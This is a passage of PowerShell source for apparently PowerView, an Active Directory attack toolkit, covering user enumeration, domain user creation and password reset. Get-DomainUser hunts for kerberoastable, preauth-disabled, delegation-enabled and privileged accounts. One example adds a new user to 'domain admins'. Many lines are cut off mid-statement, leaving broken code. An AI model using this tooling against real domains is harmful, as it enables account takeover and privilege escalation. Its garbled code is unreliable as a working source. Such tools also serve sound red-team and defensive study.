[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObj
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount',
n','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropa
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','cod
countname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','wh
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Sel
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -Expa
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for targe
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -Reference
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType Note
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $Refere
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Ob
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Enabled
Switch. Return users that are currently enabled.
.PARAMETER Disabled
Switch. Return users that are currently disabled.
.PARAMETER Locked
Switch. Return users that are currently locked.
.PARAMETER Unlocked
Switch. Return users that are currently unlocked.
.PARAMETER PassExired
Switch. Return users whose password has expired.
.PARAMETER PassNotExpired
Switch. Return users whose password has not expired.
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER NoPassExpiry
Switch. Return users whose passwords do not expire.
.PARAMETER Unconstrained
Switch. Return users configured for unconstrained delegation.
.PARAMETER TrustedToAuth
Switch. Return user accounts that are trusted to authenticate for other principals.
.PARAMETER RBCD
Switch. Return user accounts that are configured to allow resource-based constrained delegation.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER PassNotRequired
Switch. Return user accounts with PASSWD_NOTREQD set.
.PARAMETER PassLastSet
Return only user accounts that have not had a password change for at least the specified number of da
.PARAMETER Owner
Return the owner information of the user object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.PARAMETER Certificate
Certificate to authenticate to LDAP with.
.PARAMETER CertPassword
Password for certificate being used to authentication to LDAP with.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c43
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegatio
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountna
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,D
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'Enabled')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'Enabled')]
[Switch]
$Enabled,
[Parameter(ParameterSetName = 'Disabled')]
[Switch]
$Disabled,
[Switch]
$Locked,
[Switch]
$Unlocked,
[Switch]
$PassExpired,
[Switch]
$PassNotExpired,
[Switch]
$AllowDelegation,
[Switch]
$DisallowDelegation,
[Switch]
$NoPassExpiry,
[Switch]
$Unconstrained,
[Switch]
$TrustedToAuth,
[Switch]
$RBCD,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[Switch]
$PassNotRequired,
[ValidateRange(1, 10000)]
[Int]
$PassLastSet,
[Switch]
$Owner,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
if ($PSBoundParameters['Certificate']) {$SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$SearcherArguments['CertPassword'] = $CertPasswor
$PolicyArguments = @{}
if ($PSBoundParameters['Domain']) { $PolicyArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $PolicyArguments['Server'] = $Server }
if ($PSBoundParameters['ServerTimeLimit']) { $PolicyArguments['ServerTimeLimit'] = $ServerTime
if ($PSBoundParameters['Credential']) { $PolicyArguments['Credential'] = $Credential }
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
$IdentityFilter = ''
$Filter = ''
$MaximumAge = $Null
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace '
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstan
$SearcherArguments['Domain'] = $IdentityDomain
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToStrin
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-A
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.Inde
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['Enabled']) {
Write-Verbose '[Get-DomainUser] Searching for users who are enabled'
# negation of "Accounts that are disabled"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))'
}
if ($PSBoundParameters['Disabled']) {
Write-Verbose '[Get-DomainUser] Searching for users who are disabled'
# inclusion of "Accounts that are disabled"
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)'
}
if ($PSBoundParameters['Locked']) {
Write-Verbose '[Get-DomainUser] Searching for users who are locked'
# need to get the lockout duration from the domain policy
$Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDu
if ($Duration -eq -1) {
$LockoutTime = 1
}
else {
$LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc()
}
$Filter += "(lockoutTime>=$LockoutTime)"
}
elseif ($PSBoundParameters['Unlocked']) {
Write-Verbose '[Get-DomainUser] Searching for users who are unlocked'
# need to get the lockout duration from the domain policy
$Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDu
if ($Duration -eq -1) {
$LockoutTime = 1
}
else {
$LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc()
}
$Filter += "(!(lockoutTime>=$LockoutTime))"
}
if ($PSBoundParameters['PassExpired']) {
Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire'
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))'
Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy'
$MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).M
if ($MaximumAge -lt 1) {
Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be
return
}
}
elseif ($PSBoundParameters['NoPassExpiry']) {
Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
}
if ($PSBoundParameters['PassNotExpired']) {
Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy"
$MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).M
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))'
}
elseif ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for dele
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other p
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['RBCD']) {
Write-Verbose '[Get-DomainUser] Searching for users that are configured to allow resource-bas
$Filter += '(msds-allowedtoactonbehalfofotheridentity=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos prea
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['PassNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=32)'
}
if ($PSBoundParameters['PassLastSet']) {
Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password ch
$PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime()
$Filter += "(pwdlastset<=$PwdDate)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
Write-Verbose "[Get-DomainUser] filter string: (&(samAccountType=805306368)$Filter"
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=8053063
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = Convert-LdapConnectionAttributes -Attributes $_.Attributes
}
else {
$Prop = $_.Properties
}
$Continue = $True
if ($PSBoundParameters['PassExpired']) {
if ($MaximumAge -gt 0) {
$PwdLastSet = $Prop.pwdlastset[0]
if ($PwdLastSet -eq 0) {
$PwdLastSet = $Prop.whencreated[0]
}
$ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc()
if ($PwdLastSet -gt $ExpireTime) {
$Continue = $False
}
}
else {
$Continue = $False
}
}
elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536
if ($MaximumAge -gt 0) {
$PwdLastSet = $Prop.pwdlastset[0]
if ($PwdLastSet -eq 0) {
$PwdLastSet = $Prop.whencreated[0]
}
$ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc()
if ($PwdLastSet -le $ExpireTime) {
$Continue = $False
}
}
}
if ($Continue) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $Prop
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
}
if ($Results -and -not $PSBoundParameters['SSL'] -and -not $PSBoundParameters['Certificate']) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/libra
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $Use
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPasswo
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagemen
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -A
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagemen
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
